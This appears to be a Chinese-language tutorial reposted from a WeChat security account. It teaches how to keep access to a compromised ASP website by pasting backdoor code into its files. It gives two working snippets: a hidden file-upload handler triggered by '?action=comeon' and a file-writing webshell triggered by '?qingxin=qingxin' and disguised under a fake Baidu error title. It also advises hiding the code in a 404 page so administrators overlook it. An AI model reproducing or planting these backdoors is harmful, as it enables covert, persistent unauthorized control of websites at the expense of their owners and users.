大家好,今天教大家在怎么得到shell之后简单留后门。看操作。
将这串代码,随便插入一个代码里面。我们来访问Upfile_Product.asp看看,回车貌似没有说明异常,但是加入?action=comeon这个看看,看见没可以上传文件,这就是一个简单的留后门,我试了几次成功率不太高,所以不太推荐。。。这里就不演示了。。
第一种方法(不太推荐):
将代码复制后粘贴到网站的ASP文件最尾步:
<%if request.QueryString("action")="comeon" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>
?action=comeon(在网址后面输入并回车。)
下面,介绍这个方法,成功率相当高,看操作,同样,将这串代码随意插入一个文件里面,这两个代码一个是头尾,一个是头部。
我随便找一个插入,同样,我们来访问看看,同样看起来没有什么异常,我们在后面加入?qingxin=qingxin看看,会出现什么。这里,我们可以插入,大马,因为我这个文件是在站点根目录下面,所以我得将这个文件删除,直接建立在根目录下面,这里有点啰嗦大家自悟。。。。网站里面现在是没有888.asp文件的,现在我们来上传。看见没,成功在根目录下面生成了一个木马,个人感觉这个方法留后门成功率极其大。。。,那么教程到这儿就结束了,谢谢各位收看。。。
小提示:(大家可以新建一个404错误页面,然后将代码插入404页面,这样管理员或菜鸟会认为这个页面。。。。。。。(你懂得,嘿嘿!))
第二种方法(成功率较大,本人推荐。):
将代码复制粘贴到ASP文件头部:
<% if request("qingxin")="qingxin" then %>
<title>Baidu - your visit gone wrong</title>
<%="<br>"%>
<%="The file location:"+server.mappath(request.servervariables("script_name"))%>
<%Dim objFSO%>
<%Dim fdata%>
<%Dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<font color=red>save!</font>
<%end if%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<form action='' method=post>
<p>
<input type=text name=syfdpath width=32 value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>" style="border:solid 1px" size=80>
</p>
<p>
<textarea name=cyfddata cols=80 rows=10 width=32 style="border:solid 1px"></textarea>
</p>
<input type=submit value=save style="border:solid 1px">
<font color="#FF0000"><strong>
</strong></font> </p>
</form><form action="" method="post">
<% end if %>
?qingxin=qingxin(在网址后面输入并回车)
提示必看:这里面的qingxin,可以替换成你想要的。
<% if request("qingxin")="qingxin" then %>
本文始发于微信公众号(飓风网络安全):WebShell留后门方法总汇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论